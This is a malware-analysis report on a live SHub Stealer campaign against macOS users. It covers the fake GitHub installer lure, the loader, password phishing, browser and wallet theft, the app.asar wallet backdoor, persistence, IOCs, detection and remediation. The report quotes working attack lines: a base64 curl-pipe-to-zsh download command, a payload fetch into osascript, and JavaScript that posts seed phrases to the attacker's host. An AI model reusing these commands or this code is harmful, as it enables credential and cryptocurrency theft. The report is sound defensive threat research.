Hunting SHub: Intercepting a Live macOS Infostealer Campaign

Executive Summary

This report details the active hunting and partial neutralisation of a live SHub Stealer campaign targeting macOS users via a fake GitHub application installer. By analysing the ClickFix delivery chain and the attacker's C2 infrastructure, I identified a previously unreported C2 domain (boso6ka.com), extracted the full attack chain from loader through to wallet backdoor, and confirmed the live exfiltration endpoint at wallets-gate.io/api/injection — hardcoded inside a trojanised Exodus app.asar bundle retrieved directly from the attacker's server.

Key findings:

• New infrastructure: boso6ka.com — not previously associated with SHub in any public reporting
• New lure: Fake GitHub App installer replacing the CleanMyMac impersonation documented by Malwarebytes (March 2026)
• Confirmed wallet backdoor: wallets-gate.io/api/injection — exfiltrating seed phrases and passwords on every wallet unlock, across five Electron wallet apps
• Insecure C2 architecture: Unauthenticated staging endpoints exposed the full attack chain — loader.sh, payload.applescript, and all five backdoored app.asar bundles — without requiring any credentials
• Infrastructure burned: Domains reported to registrar and hosting provider. boso6ka.com returned 0/72 detections on VirusTotal at time of discovery

SHub Stealer is an active, maturing MaaS platform. This campaign instance demonstrates deliberate infrastructure rotation and lure evolution between documented deployments.

The Blind Spot: An Unauthenticated C2

The attacker's backend at boso6ka.com served all staged payloads over HTTPS without access controls on the /debug/ path. No authentication, no token check, no referrer validation — the same endpoint that delivered loader.sh and payload.applescript to victims was fully accessible to any HTTP client that knew the path structure.

The path structure was embedded in the initial ClickFix command, base64-encoded but trivially decoded:

echo "GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg" \
&& curl -kfsSL $(echo 'aHR0cHM6Ly9ib3NvNmthLmNvbS9kZWJ1Zy9sb2FkZXIuc2g/YnVpbGQ9NDhhNzZlNWVlNGViNzU3YzhkMzNmODJmNDZkZDVjZWI='|base64 -D)|zsh

Decoded: https://boso6ka.com/debug/loader.sh?build=48a76e5ee4eb757c8d33f82f46dd5ceb

From there, the /gate/ endpoints serving the trojanised wallet bundles were enumerable from the payload source itself. Each was accessible without authentication:

boso6ka.com/gate/exodus-asar
boso6ka.com/gate/atomic-asar
boso6ka.com/gate/ledger-asar
boso6ka.com/gate/ledgerlive-asar
boso6ka.com/gate/trezor-asar

This misconfiguration allowed full retrieval of every staged artifact — including the backdoored app.asar bundles — directly from the attacker's infrastructure. No exploitation required. The C2 handed over its own toolkit.

Infrastructure Recon

Censys fingerprint on boso6ka.com:

boso6ka.com:443 as of April 4, 2026
Let's Encrypt certificate issued April 4, 2026 (expires July 3, 2026)
Wildcard: *.boso6ka.com
Hosted behind Cloudflare — IP 172.67.134.242
Supports HTTP/1.1 and HTTP/3

Certificate issuance on April 4, 2026 — two days before discovery — indicates freshly stood-up infrastructure. This aligns with the operational pattern of rotating C2 domains between campaign waves to avoid existing blocklists. At the time of analysis, boso6ka.com returned 0/72 detections on VirusTotal — clean to every vendor.

The wallet backdoor backend, wallets-gate.io, was fingerprinted separately:

Certificate issued by Google Trust Services — January 10, 2026
Valid until April 10, 2026
ECDSA-SHA256, trusted across Apple, Chrome, Microsoft, NSS validation paths

Two separate infrastructure components, two different certificate authorities, operated in parallel — one for C2 and exfiltration, one dedicated exclusively to wallet credential harvesting.

The Full Attack Chain

Stage 1 — Lure: Fake GitHub App Installer

The lure site (everyelemental.com) impersonates a GitHub App installer download page. On load it executes a browser fingerprinting script that dumps a comprehensive environment object — navigator properties, WebGL renderer, hardware concurrency, device memory, timezone, TouchEvent support — used to identify real macOS victims and discard sandbox analysis environments.

Malicious terminal commands are fetched dynamically from links/data.json, keyed by page filename. The "Copy" button places the command into clipboard with a fake ✓ Copied! animation. The server performs User-Agent gating: macOS User-Agents receive the real payload; anything else is redirected to a benign page.

The build parameter embedded in the decoded URL (48a76e5ee4eb757c8d33f82f46dd5ceb) functions as a per-victim campaign tracking ID, tying each infection back to its originating lure page through every stage of the chain.

Stage 2 — loader.sh: Victim Profiling and Beacon

The loader is delivered as a gzip+base64 blob and executes in memory. Its role is victim qualification:

1. Fingerprints the host — external IP (three fallback resolution services), hostname, macOS version, keyboard locale
2. Beacons to C2 — POST https://boso6ka.com/api/debug/event with event: loader_requested and full victim profile
3. CIS keyboard check — Russian layout detected → sends cis_blocked to C2 and continues execution (see CIS nuance below)
4. Fetches second stage — pulls and executes payload.applescript via osascript in a detached background process, then deletes itself

curl -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)..." \
  "https://boso6ka.com/debug/payload.applescript?build=$BUILDHASH" | osascript

CIS geofencing nuance: Prior Malwarebytes reporting documented the loader exiting on Russian keyboard detection. In this campaign variant, the loader reports cis_blocked in telemetry but does not exit — it fetches the payload regardless. The AppleScript payload performs a second CIS check but is commented in source with -- we still detect but DON'T block. A victim with a Russian keyboard layout would be fully compromised. This represents an operational change from the prior campaign.

Stage 3 — payload.applescript: Credential Harvest

The AppleScript payload runs silently. First action: killall Terminal removes the visible execution context from the victim's screen.

Spoofed password dialog: A dialog mimicking macOS System Preferences — Apple padlock icon, correct font, system-style layout — requests the login password:

"Required Application Helper. Please enter password for continue."

Each entry is validated in real-time against the macOS directory service via dscl . authonly. Invalid passwords are logged and the dialog retries up to 10 times. The valid password unlocks the macOS Keychain — the target of the entire prompt.

Telemetry sequence logged to C2: payload_started → password_obtained / password_failed → collecting_browsers → collecting_wallets → data_collected → zip_sent

Every state transition is reported to boso6ka.com/api/debug/event, giving the operator real-time visibility into each victim's progress through the chain.

Stage 4 — Data Collection

All data staged to /tmp/shub_<7-digit-random>/ before packaging.

Browsers — Chromium (14 targeted): Chrome, Brave, Edge, Opera, OperaGX, Vivaldi, Orion, Sidekick, Chrome Canary, Chromium, Chrome Dev, Arc, CocCoc, Chrome Beta — cookies, login data, web data, extension local storage, IndexedDB

Browsers — Firefox: cookies.sqlite, logins.json, key4.db, cert9.db, places.sqlite, formhistory.sqlite

Browser wallet extensions: 100+ extension IDs targeted — MetaMask, Phantom, Coinbase Wallet, Exodus Web3, Trust Wallet, Keplr, and others

Desktop wallets (23 apps): Exodus, Electrum, Atomic Wallet, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, Armory, Electron Cash, Monero, Litecoin Core, Dash Core, Dogecoin Core, BlueWallet, Zengo, Trust Wallet, Ledger Live, Trezor Suite, Daedalus, Binance, TON Keeper

System data: macOS Keychain directory, iCloud account data, Safari cookies/autofill/history, Apple Notes (NoteStore.sqlite + WAL), shell history (.zsh_history, .bash_history, .zshrc, .gitconfig), Desktop and Documents (docx, doc, wallet, key, txt, csv, xls, xlsx, json, rdp, png) — 150MB cap, max depth 3

Stage 5 — Exfiltration

All collected data is compressed to /tmp/shub_log.zip and uploaded:

POST https://boso6ka.com/gate
Fields: file, key, password, buildtxd, has_valid_password, build_hash

Archives over 85MB are split into 70MB chunks:

POST https://boso6ka.com/gate/chunk
Fields: file, chunk_session (UUID), chunk_num, total_chunks, key, password, buildtxd, build_hash

• Build ID: 948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236
• Build hash: 48a76e5ee4eb757c8d33f82f46dd5ceb

Stage 6 — The app.asar Backdoor: Persistent Wallet Compromise

This is where SHub separates itself from smash-and-grab infostealers. After exfiltration, the payload checks for five Electron-based wallet applications. For each found:

1. Downloads a trojanised app.asar from the C2
2. Kills the running wallet process (pkill -9)
3. Backs up and overwrites the original app.asar
4. Strips quarantine and signature: xattr -cr /Applications/<wallet>.app
5. Re-signs with ad-hoc cert: codesign -f -d -s - — macOS accepts it

Why this works: Electron loads its entire application from app.asar at startup. There is no integrity check on this file — replacing it is equivalent to replacing all application code. The injected JS runs inside the already-trusted Electron process with full Node.js access.

From the extracted src/wallet/index.js, retrieved directly from the attacker's C2:

try {
    fetch("https://wallets-gate.io/api/injection", {
        method: "POST",
        headers: {
            'Content-Type': 'application/json',
            'api-key': '<REDACTED>'
        },
        body: JSON.stringify({
            password: t,
            mnemonic: s.mnemonic.toString("utf8"),
            buildid: "948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236",
            app: "exodus"
        })
    })
} catch (e) {}

Every unlock of a backdoored wallet — on any future date, from any IP, on any network — silently exfiltrates the seed phrase and password to wallets-gate.io/api/injection. The victim is compromised indefinitely until the wallet app is reinstalled from a clean source on a clean device.

Stage 7 — Persistence: Fake Google Keystone

A LaunchAgent is installed disguised as Google's Keystone auto-updater — a legitimate Google process present on many macOS systems, chosen specifically because it blends into normal process lists:

~/Library/LaunchAgents/com.google.keystone.agent.plist
~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate

Configured with RunAtLoad: true and StartInterval: 60 — beaconing every 60 seconds indefinitely:

POST https://boso6ka.com/api/bot/heartbeat
Body: { bot_id: <hardware UUID>, build_id, hostname, ip, os_version }

If the C2 returns a code field in the response, the agent base64-decodes and executes it — giving the operator on-demand remote code execution on any compromised host, permanently, until the LaunchAgent is removed.

Stage 8 - Decoy

All /tmp/shub_* staging artifacts are deleted. The victim sees:

"Your Mac does not support this application. Try reinstalling or downloading the version for your system."

Titled "System Preferences". The victim closes it, assumes the installer failed, and moves on.

The Burn

boso6ka.com and wallets-gate.io were reported to:

• The respective domain registrars
• Cloudflare abuse (for boso6ka.com)
• Relevant threat intel sharing channels

At time of discovery, boso6ka.com had 0/72 detections on VirusTotal. Infrastructure was live and actively serving payloads.

IOCs

MITRE ATT&CK

Detection Guidance

1. LaunchAgent label com.google.keystone.agent installed outside a legitimate Google Keystone update path
2. osascript spawned as a child of curl or zsh
3. File creation under /tmp/shub_*/
4. Write to /Applications/*.app/Contents/Resources/app.asar from any non-installer process
5. codesign -f -d -s - targeting /Applications/
6. dscl . authonly called from a non-system process
7. Outbound connections to boso6ka.com or wallets-gate.io
8. File creation at /tmp/.c.sh

Remediation

1. Remove persistence — delete ~/Library/LaunchAgents/com.google.keystone.agent.plist and ~/Library/Application Support/Google/GoogleUpdate.app/
2. Treat all wallet seed phrases as fully compromised — move funds to a new wallet generated on a clean device immediately. Seed phrases cannot be rotated.
3. Reinstall all five targeted wallet apps from official sources on a clean device — any installed copy must be considered backdoored
4. Rotate all credentials — macOS login password and all Keychain-stored credentials from a trusted, clean device
5. Revoke and regenerate all API keys, SSH keys, and tokens found in shell history

Evidence

All findings confirmed from direct analysis of artifacts retrieved from the attacker's unauthenticated C2 endpoints:

• loader.sh — full source reviewed
• payload.applescript — full source reviewed
• extracted/src/app/wallet/index.js — decompiled from retrieved app.asar